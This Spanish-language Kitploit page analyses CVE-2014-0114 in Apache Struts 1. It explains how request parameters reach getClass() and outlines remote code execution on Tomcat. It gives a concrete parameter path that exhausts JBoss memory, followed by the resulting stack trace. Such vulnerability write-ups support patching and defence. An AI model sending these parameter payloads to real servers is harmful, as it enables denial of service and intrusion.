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strutt-cve-2014-0114 — Análisis técnico y prueba de concepto para la manipulación de parámetros de clase Apache Struts 1 (CVE-2014-0114), que demuestra la ejecución remota de código en Tomcat y la denegación de servicio en JBoss/Wildfly. | Kitploit
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strutt-cve-2014-0114

Análisis técnico y prueba de concepto para la manipulación de parámetros de clase Apache Struts 1 (CVE-2014-0114), que demuestra la ejecución remota de código en Tomcat y la denegación de servicio en JBoss/Wildfly.

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211hace 7 añosAún no revisado

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CVE-2014-0114 - Vulnerabilidad en Struts 1

Los parámetros en una solicitud POST o GET se manejan como propiedades que se establecen con el formulario como punto de partida. Los parámetros pueden ser una ruta a un objeto anidado.

Apache Struts 1.x puede ser manipulado para invocar getClass() en Form Beans. Por ejemplo, se pueden manipular directamente atributos en el classloader del formulario: https://example.com/?class.classLoader.defaultAssertionStatus=true.

En su interior, Apache Struts 1.x utiliza commons-beanutils que en la versión 1.8 (y anteriores) no excluye el atributo class.

Struts 2 ha tenido fallas similares, pero aquí nos centramos en Struts 1.x donde no hay parches para el framework cuya última versión se lanzó en 2008 (EOL desde 2013).

Tomcat - Ejecución Remota de Código (RCE)

Si la aplicación se ejecuta en Tomcat (Catalina), es posible manipular el registro de manera que el atacante pueda crear un archivo JSP que luego se ejecute cuando se solicite desde el servidor. El archivo JSP puede ejecutar código Java arbitrario como el usuario que ejecuta el proceso Java.

Ver la demostración de Julián Vilas para más detalles.

JBoss/Wildfly - Denegación de Servicio (DOS)

(Probado con JBoss EAP 7.1)

Existe un método simple para realizar un ataque DOS que en el peor caso deja a JBoss completamente inaccesible y requiere reinicio. En el mejor caso, JBoss responde lentamente.

Ejecución

A través del atributo class se puede acceder a Class#protectionDomain.codeSource.location. En JBoss es un objeto URL con protocolo vfs.

Para una URL de tipo vfs://, JBoss ha registrado un URLStreamHandler que devuelve un objeto de tipo org.jboss.vfs.VirtualFile cuando se llama a URL#getContent.

class.protectionDomain.codeSource.location.content.pathName señala el directorio <RUTA>/<aplicación>/WEB-INF/classes.

Via parent se accede a un objeto para el directorio un nivel arriba:

class.protectionDomain.codeSource.location.content.parent.pathName -> <RUTA>/<aplicación>/WEB-INF

Pregunta: ¿Cuántas referencias a parent se necesitan para llegar a la raíz del sistema de archivos?

Pregunta: ¿Qué sucede cuando solicitamos class.protectionDomain.codeSource.location.content.parent.parent.[...].childrenRecursively[0].pathName para el directorio raíz del sistema de archivos?

Respuesta: JBoss recorrerá todos los archivos del sistema de archivos y asignará un org.jboss.vfs.VirtualFile para cada archivo y directorio.

Pregunta adicional: ¿Qué sucede si dos solicitudes piden todos los archivos del sistema de archivos al mismo tiempo? ¿Tres solicitudes? ¿Cinco? ¿Diez? ¿Cien?

...

Respuesta:

Si se espera el tiempo suficiente, se registra un error

root@kitploit:~
10:09:59,381 ERROR [io.undertow.request] (default task-13) UT005023: Exception handling request to /strutt/Login.do: javax.servlet.ServletException: javax.servlet.ServletException: BeanUtils.populate
	at org.apache.struts.chain.ComposableRequestProcessor.process(ComposableRequestProcessor.java:286)
	at org.apache.struts.action.ActionServlet.process(ActionServlet.java:1913)
	at org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:449)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:687)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:85)
	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62)
	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36)
	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:131)
	at io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57)
	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46)
	at io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64)
	at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60)
	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77)
	at io.undertow.security.handlers.NotificationReceiverHandler.handleRequest(NotificationReceiverHandler.java:50)
	at io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43)
	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
	at org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler.handleRequest(JACCContextIdHandler.java:61)
	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
	at org.wildfly.extension.undertow.deployment.GlobalRequestControllerHandler.handleRequest(GlobalRequestControllerHandler.java:68)
	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:292)
	at io.undertow.servlet.handlers.ServletInitialHandler.access$100(ServletInitialHandler.java:81)
	at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:138)
	at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:135)
	at io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48)
	at io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43)
	at org.wildfly.extension.undertow.security.SecurityContextThreadSetupAction.lambda$create$0(SecurityContextThreadSetupAction.java:105)
	at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
	at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
	at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
	at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:272)
	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:81)
	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:104)
	at io.undertow.server.Connectors.executeRootHandler(Connectors.java:326)
	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:812)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
	at java.lang.Thread.run(Thread.java:748)
Caused by: javax.servlet.ServletException: BeanUtils.populate
	at org.apache.struts.util.RequestUtils.populate(RequestUtils.java:475)
	at org.apache.struts.chain.commands.servlet.PopulateActionForm.populate(PopulateActionForm.java:50)
	at org.apache.struts.chain.commands.AbstractPopulateActionForm.execute(AbstractPopulateActionForm.java:60)
	at org.apache.struts.chain.commands.ActionCommandBase.execute(ActionCommandBase.java:51)
	at org.apache.commons.chain.impl.ChainBase.execute(ChainBase.java:191)
	at org.apache.commons.chain.generic.LookupCommand.execute(LookupCommand.java:305)
	at org.apache.commons.chain.impl.ChainBase.execute(ChainBase.java:191)
	at org.apache.struts.chain.ComposableRequestProcessor.process(ComposableRequestProcessor.java:283)
	... 42 more
Caused by: java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(PropertyUtilsBean.java:2155)
	at org.apache.commons.beanutils.PropertyUtilsBean.getIndexedProperty(PropertyUtilsBean.java:504)
	at org.apache.commons.beanutils.PropertyUtilsBean.getIndexedProperty(PropertyUtilsBean.java:408)
	at org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(PropertyUtilsBean.java:760)
	at org.apache.commons.beanutils.PropertyUtilsBean.getProperty(PropertyUtilsBean.java:837)
	at org.apache.commons.beanutils.BeanUtilsBean.setProperty(BeanUtilsBean.java:903)
	at org.apache.commons.beanutils.BeanUtilsBean.populate(BeanUtilsBean.java:830)
	at org.apache.commons.beanutils.BeanUtils.populate(BeanUtils.java:433)
	at org.apache.struts.util.RequestUtils.populate(RequestUtils.java:473)
	... 49 more
Caused by: java.lang.OutOfMemoryError: GC overhead limit exceeded
	at java.lang.AbstractStringBuilder.<init>(AbstractStringBuilder.java:68)
	at java.lang.StringBuilder.<init>(StringBuilder.java:101)
	at org.jboss.vfs.VirtualFile.getPathName(VirtualFile.java:139)
	at org.jboss.vfs.VirtualFile.getPathName(VirtualFile.java:99)
	at org.jboss.vfs.spi.RootFileSystem.getFile(RootFileSystem.java:65)
	at org.jboss.vfs.spi.RootFileSystem.isDirectory(RootFileSystem.java:107)
	at org.jboss.vfs.VirtualFile.isDirectory(VirtualFile.java:291)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:520)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
	at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)

10:09:59,420 ERROR [stderr] (Periodic Recovery) Exception in thread "Periodic Recovery" java.lang.OutOfMemoryError: GC overhead limit exceeded

La CPU se satura manejando Garbage Collection para unas pocas solicitudes y el proceso Java no puede hacer mucho más.

También depende un poco de la aplicación. Si se puede desencadenar una ruta de código que adquiera un bloqueo, la aplicación/sistema puede quedarse colgado.

Referencias

CVE

  • https://nvd.nist.gov/vuln/detail/CVE-2014-0114 (Struts 1)
  • https://nvd.nist.gov/vuln/detail/CVE-2014-0112 (Struts 2)
  • https://nvd.nist.gov/vuln/detail/CVE-2014-0094 (Struts 2)

Presentación de Julián Vilas

https://www.youtube.com/watch?v=fpsrusRpP0E

https://www.slideshare.net/testpurposes/deep-inside-the-java-framework-apache-struts

Metasploit

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/struts_code_exec_classloader.rb

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